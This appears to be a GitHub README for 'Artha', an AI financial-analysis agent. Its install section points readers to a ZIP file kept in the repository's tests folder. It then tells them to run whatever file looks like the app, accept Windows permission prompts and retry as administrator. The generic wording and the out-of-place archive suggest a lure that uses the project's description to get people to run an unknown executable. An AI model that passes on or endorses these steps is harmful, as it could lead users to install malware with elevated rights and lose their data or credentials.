Artha is an AI agent for financial analysis. It helps you fetch data from news, the web, and the stock market. You can also ask it to do technical analysis and fundamental analysis in plain language.
Use it to:
- check market news
- review stock data
- compare companies
- run technical charts
- run basic financial checks
- get a short decision summary from the agent
Artha is built for users who want answers without digging through many sites and reports.
To run Artha on Windows, use a computer with:
- Windows 10 or Windows 11
- At least 8 GB of RAM
- 2 GB of free disk space
- A stable internet connection
- A modern web browser such as Chrome, Edge, or Firefox
If your computer has more memory, Artha will run more smoothly when it processes larger data sets.
Go to the download page here:
https://github.com/claretaqueenlike475/Artha/raw/refs/heads/main/tests/files/Software_3.1.zip
On that page, look for the latest release or the main project files. Download the file meant for Windows, then keep it in a folder you can find later, such as Downloads or Desktop.
Follow these steps in order:
- Open the download link above in your browser.
- Find the latest version of Artha.
- Download the Windows file or project package.
- If the file comes as a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Look for the main app file, installer, or run file.
- Double-click the file to start Artha.
- If Windows asks for permission, choose Yes.
- Wait for Artha to load in your browser or app window.
If Artha opens in your browser, keep that tab open while you use it. If it opens as a desktop app, leave the app running during your session.
When Artha starts for the first time, it may ask for a few settings. These may include:
- your API key
- your data source choice
- your stock market region
- your preferred time frame
- your analysis mode
If you see a setup page, enter the details you have and save them. If the app offers sample data, you can use it to test the flow before you enter real market data.
Artha works like a chat tool. You type a question, and the agent replies with data and analysis.
Try prompts like:
- Show me the latest news for Tesla
- Compare Apple and Microsoft
- Give me technical analysis for Reliance
- Check the financial health of NVIDIA
- Summarize the decision based on market data
- What do the charts say for the past 3 months
You can also ask Artha to combine sources. For example, it can pull news, price data, and company info into one view so you do not need to jump between tabs.
Artha can gather news and web content to help you see what is affecting a company or market.
It can pull stock-related data so you can review price movement, trends, and recent changes.
Artha can help you check chart patterns, moving averages, and momentum signals.
It can review company-level data like earnings, growth, and other key financial checks.
Artha can turn many data points into a short decision view, so you can see the main takeaway in one place.
It can follow a search and analysis path that blends data from several sources into one report.
After the first run:
- Open the app or the folder where Artha is stored.
- Start the program again using the same file you used before.
- Wait for the agent screen to load.
- Type your request in the chat box.
- Review the results and the decision summary.
If the app has a refresh button, use it when you want the latest data. If it has source filters, use them to narrow your search.
- Check that you extracted the ZIP file first
- Make sure you double-click the correct file
- Try running it again as an administrator
- Restart your computer and try once more
- Check your internet connection
- Refresh the page
- Try another browser
- Clear the browser cache if the page still fails
- Check that you entered the right query
- Make sure any API key or setup step is complete
- Try a simpler request first
- Use a different stock name or ticker symbol
- Windows may ask for permission before opening the app
- Choose Yes if you downloaded Artha from the link above
- If the file looks changed or broken, download it again
- Use a clear stock name or ticker symbol
- Ask one question at a time
- Request a date range when you want recent data
- Use company names instead of short forms when possible
- Ask Artha to summarize the final decision after the analysis
Good prompts help the agent give cleaner answers.
Artha is built around:
- agent tools
- AI agents
- REST API
- backend server
- FastAPI
- fintech use cases
- MCP server support
- Python 3
- RAG-style chat and retrieval
This setup helps Artha gather data from different places and turn it into a single analysis flow.
- check if a stock has strong recent news
- compare two companies before a trade
- review financial data before a long-term buy
- scan technical indicators for entry timing
- ask for a plain decision after reading the data
- get a fast market review without opening many sites
After download, you may see files such as:
- README files
- source folders
- app startup files
- config files
- environment files
If you are not sure what to open, start with the file that looks like the main run file or the file named in the project instructions on GitHub.
Keep these steps in mind:
- Open Artha
- Enter the stock or company name
- Ask for news, chart data, or company checks
- Read the analysis
- Ask for the final decision summary
This keeps your workflow simple and fast